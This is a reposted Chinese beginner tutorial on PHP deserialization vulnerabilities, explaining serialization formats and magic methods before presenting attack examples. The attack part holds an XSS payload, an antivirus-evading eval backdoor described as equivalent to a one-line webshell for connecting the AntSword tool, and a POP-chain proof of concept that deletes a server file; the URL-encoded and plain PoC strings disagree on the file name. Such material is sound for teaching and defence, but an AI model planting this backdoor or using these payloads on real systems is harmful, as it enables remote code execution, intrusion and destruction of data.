零基础入门反序列化漏洞

news2024/12/24 21:22:48

目录

前提知识

漏洞产生原理

常见的函数

序列化 

反序列化 

__sleep函数

私有和保护

__wakeup函数 

反序列化漏洞举例

构造XSS漏洞

反序列化免杀后门

POP CHAIN(POP链)


前提知识

漏洞产生原理

 serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

常见的函数

__construct()当一个对象创建时被调用      
 
__destruct()当一个对象销毁时被调用        
 
__toString()当一个对象被当作一个字符串使用        
 
__sleep() 在对象在被序列化之前运行        
 
__wakeup() 执行unserialize()时,先会调用这个函数

序列化 

<?php
class student{
public $name;
public $id;
public $score;
}
$_stu1=new student();
$_stu1->name='coleak';
$_stu1->id=1;
$_stu1->score=100;
echo serialize($_stu1);
?>

O:7:"student":3:{s:4:"name";s:6:"coleak";s:2:"id";i:1;s:5:"score";i:100;}

O:strlen(类名):类名:类的变量个数:{类型:长度:值;类型:长度:值…}

String类型 :s:size:value
Integer类型 :i:value
Boolean类型 : b:value (保存1或0)
Null型 :N Array :a:size:{key definition;value definition}

反序列化 

<?php
class student{
public $name;
public $id;
public $score;
}
$a='O:7:"student":3:{s:4:"name";s:6:"coleak";s:2:"id";i:1;s:5:"score";i:100;}';
$newstu=unserialize($a);
var_dump($newstu);
echo $newstu->name;
?>

 object(student)#1 (3) { ["name"]=> string(6) "coleak" ["id"]=> int(1) ["score"]=> int(100) }

coleak

__sleep函数

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。可以在__sleep()方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性。

<?php
class student{
public $name;
public $id;
public $score;
public function __sleep()
{
    return array('name','id');
}
}
$_stu1=new student();
$_stu1->name='coleak';
$_stu1->id=1;
$_stu1->score=100;
echo serialize($_stu1);
?>

O:7:"student":2:{s:4:"name";s:6:"coleak";s:2:"id";i:1;}

私有和保护

<?php
class student{
public $name='coleak';
protected $id=1;
private $score=100;
}
$_stu1=new student();
echo serialize($_stu1);
?>

O:7:"student":3:{s:4:"name";s:6:"coleak";s:5:"*id";i:1;s:14:"studentscore";i:100;}

5=1+1+1+2;14=1+7+1+5

protected属性被序列化的时候属性值会变成 %00*%00属性名
private属性被序列化的时候属性值会变成 %00类名%00属性名

(%00为空白符,一个空字符长度为 1)

__wakeup函数 

unserialize()会检查是否存在__wakeup()方法。如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。

<?php
class student{
public $name='coleak';
protected $id=1;
private $score=100;
public function __wakeup(){
    $this->score=99;
}
}
$_stu1=new student();
$a=serialize($_stu1);
echo $a."<br>";
$b=unserialize($a);
print_r($b);
?>

O:7:"student":3:{s:4:"name";s:6:"coleak";s:5:"*id";i:1;s:14:"studentscore";i:100;}
student Object ( [name] => coleak [id:protected] => 1 [score:student:private] => 99 )

反序列化漏洞举例

构造XSS漏洞

<?php
class T{
    var $test = "coleak";
    function __destruct(){
        echo $this->test;
     }
    }
$con= $_GET['test'];
@$unser = unserialize($con);
?>

?test=O:1:"S":1:{s:4:"test";s:29:"<script>alert(%27xss%27)</script>";}

反序列化免杀后门

<?php
class A{
    var $test = "test";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$g = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; 
$test_unser = unserialize($g);
?>
#相当于<?php @eval($_POST['test']);?>

当传入test=phpinfo()时,$g=O:1:"A":1:{s:4:"test";s:11:"phpinfo();;";} 

连接蚁剑

 

POP CHAIN(POP链)

用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作

<?php
class Test1{
    protected $obj;
    function __construct()
    {
        $this->obj = new Test3;
    }
    function __toString(){
        if (isset($this->obj)) return $this->obj->Delete();
    }
}
class Test2{  
    public $cache_file;
    function Delete()
    {
        $file ="C:/Users/admin/Desktop/PHP/{$this->cache_file}";
        if (file_exists($file)){
            @unlink($file);
        }
        return 'I am a evil Delete function';
    }
}
class Test3{
    function Delete(){
        return 'I am a safe Delete function';
    }
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>

Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete方法

构造我们的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,即:

Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete方法

POC

<?php
class Test1{
    protected $obj;
    function __construct(){
        $this->obj = new Test2;
    }
}
class Test2{
    public $cache_file ="password.php";
}
$evil = new Test1();
echo urlencode(serialize($evil));
?>

O%3A5%3A%22Test1%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A5%3A%22Test2%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A12%3A%22password.txt%22%3B%7D%7D

O:5:"Test1":1:{s:6:"*obj";O:5:"Test2":1:{s:10:"cache_file";s:12:"password.php";}}

此时敏感文件被删除 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/148503.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cadence PCB仿真使用Allegro PCB SI配置电路板层叠结构的方法图文教程

⏪《上一篇》   🏡《总目录》   ⏩《下一篇》 目录 1,概述2,配置方法3,总结1,概述 本文详细介绍使用Allegro PCB SI软件配置电路板层叠结构的方法。 2,配置方法 第1步:打开待仿真的PCB文件,并确认软件为Allegro PCB SI 如果,打开软件不是Allegro PCB SI则可这样…

解决No module named tkinter

原因 今天准备使用tutle画个图&#xff0c;导入turtle后运行发现提示没有tkinter这个包&#xff0c;于是尝试pip install tkinter安装&#xff0c;结果当然是失败&#xff1a; 后面一番搜索之后发现tinter是python3自带的包&#xff0c;不能用pip安装&#xff0c;我这里安装的…

JS的六种继承方式

继承 什么是继承&#xff1f; JS里的继承就是子类继承父类的属性和方法 目的可以让子类的实例能够使用父类的属性和方法 抽象的表达就是&#xff1a;一个人有车&#xff0c;有房&#xff0c;那么他的儿子也可以去使用他的车子&#xff0c;住他的房子。 方法一&#xff1a;…

Seata流程源码梳理上篇-TM、RM处理

这一篇我们主要来分析下Seata的AT模式的流程处理。一、流程案例 1、案例源码 ​ 我们本地流程梳理用的是基于spring-cloud框架&#xff0c;注册中心是eurak&#xff0c;服务间调用的是feign&#xff0c;源码下载的是官网的&#xff08;当然你如果对dubbo更熟悉&#xff0c;也…

CSDN博客之星年度评选活动 - 2022

文章目录一、2022年CSDN博客之星评选活动报名二、2022年CSDN博客之星评选活动流程线上评分流程争议&#xff08;官方最后证实公布后会更新&#xff09;三、2022年CSDN博客之星评选规则四、2022年CSDN博客之星评分规则五、2022年CSDN博客之星活动奖品「博客之星」奖品「博客新星…

CInternetSession OpenURL没反应,不能捕获异常

本文迁移自本人网易博客&#xff0c;写于2013年10月22日CString sFileName;CInternetSession iSession;BOOL bRet FALSE;CStdioFile* pFileDown NULL;try{pFileDown iSession.OpenURL(szURL, 1, INTERNET_FLAG_TRANSFER_BINARY|INTERNET_FLAG_DONT_CACHE);}catch(...){CStri…

2023/1/8 Vue学习笔记-4-脚手架及相关属性配置

1 创建脚手架 &#xff08;1&#xff09;CLI就是 command line interface 的缩写。Vue CLI官网&#xff1a;Vue CLI &#xff08;2&#xff09;安装过程&#xff1a; &#xff08;PS&#xff1a; 提前安装过node.js了&#xff0c;没有安装的可以打开这个&#xff1a;Download …

什么是布隆过滤器?——超详细解析【建议收藏】

目录 1、什么是布隆过滤器&#xff1f; 2、实现原理 2.1、回顾哈希函数 2.1.1、哈希函数概念 2.1.2、散列函数的基本特性&#xff1a; 2.2、布隆过滤器数据结构 3、特点 3.1、支持删除吗&#xff1f; 3.2、优点 3.3、缺点 3.4、误判率 4、如何选择哈希函数个数和布…

3 机器学习之聚类

学习笔记自&#xff0c;慕课网 《Python3 入门人工智能》 https://coding.imooc.com/lesson/418.html#mid32716 分类问题 1. 无监督学习 机器学习的一种方法&#xff0c;没有给定事先标记过的训练示例&#xff0c;自动对输入的数据进行分类或分群 优点&#xff1a; 1&#xf…

今年十八,喜欢CTF-杂项

目录 前言 菜狗杯杂项签到 我吐了你随意 损坏的压缩包 misc4 misc5 前言 &#x1f340;作者简介&#xff1a;被吉师散养、喜欢前端、学过后端、练过CTF、玩过DOS、不喜欢java的不知名学生。 &#x1f341;个人主页&#xff1a;被吉师散养的职业混子 &#x1fad2;每日emo&am…

Rad Studio 11.2 安装 QuickBurro 7.21 中间件组件教程

背景 QuickBurro 官方网址&#xff1a;http://www.quickburro.org/ 系统环境&#xff1a;Rad Studio 11.2 安装其他的组件操作和这个一样的&#xff0c;同样可以参考 开始配置 先打开 Rad Studio 11&#xff0c;依次点击 File–Open Project… 然后找到你解压的 qbcn 目录下的…

React 环境搭建以及创建项目工程(二)

创建工程 首先创建一个工程 npx create-react-app weibo cd移动到当前创建的文件下 cd weibo 安装 React 路由 npm install react-router react-router-dom5.2.0 --save 安装 npm install 安依赖包 npm install antd --save npm install axios --save 安装less和less-…

PyCharm安装步骤

以64位的Windows10系统为例&#xff1a; 下载链接&#xff1a;Thank you for downloading PyCharm! 下载并打开安装包 在 Installation Options&#xff08;安装选项&#xff09;页面按下图所示勾选相应内容&#xff1a; 等待电脑自动安装完成 在PyCharm里编写程序 第1步&a…

【python】天平最少砝码设计

题目 有一架天平&#xff0c;砝码的种类和个数要你来设计。给定一个整数n&#xff0c;则待称重的物品的重量可能是 [1,n] 之间的整数&#xff0c;砝码可以放在左盘也可以放在右盘&#xff0c;要能称出所有 [1,n] 重量的物品&#xff0c;请问如何设计砝码的种类和个数&#xff…

Unreal UFUNCTION函数宏标记

BlueprintCallable,使C中的函数在蓝图中能被调用,新建C类CustomActor继承AActor,并分别声明public、protected、private方法:拖拽一个CustomActor到Map中,打开关卡蓝图,可以到无法在蓝图中调出C中的方法:我们为这三个方法添加BlueprintCallable标记:然后在蓝图中调用:可以发现,…

驱动程序开发:多点电容触摸屏

驱动程序开发&#xff1a;多点电容触摸屏一、编写驱动前的知识准备1、CST340触摸屏芯片寄存器2、CST340触摸屏的硬件原理图3、电容触摸屏驱动是由几种linux驱动框架组成的4、linux多点电容触摸的(Multi-touch&#xff0c;简称 MT)协议二、驱动程序的编写1、修改设备树2、驱动程…

Spring AOP【AOP的基本实现与动态代理JDK Proxy 和 CGLIB区别】

Spring AOP【AOP的基本实现与动态代理JDK Proxy 和 CGLIB区别】&#x1f34e;一. Spring AOP&#x1f352;1.1 什么是Spring AOP&#x1f352;1.2 Spring AOP的作用&#x1f352;1.3 AOP的组成&#x1f349;1.3.1 切面&#xff08;Aspect&#xff09;&#x1f349;1.3.2 连接点…

大数据NiFi(十一):NiFi入门案例一

文章目录 NiFi入门案例一 一、配置“GetFile”处理器

Elastic-Job分布式任务调度

一.什么是任务调度 **任务调度&#xff1a;**是指系统为了自动完成特点任务&#xff0c;在约定的特定时刻去执行任务的过程。有了任务调度就不需要人力去实现&#xff0c;系统可以在某个时间自动执行任务。 二&#xff0c;任务调度的实现方式&#xff1a; 1.**多线程方式实现…

【博客579】netfilter network flow 和 routing decision的网络流处理交互关系

netfilter网络流转&#xff08;network flow&#xff09;与路由决策&#xff08;routing decision&#xff09;的网络流处理交互关系 1、场景&#xff1a; 我们可以通过iptables来基于netfilter机制下发我们的hook处理函数&#xff0c;那么我们平时iptables的四表五链与报文的…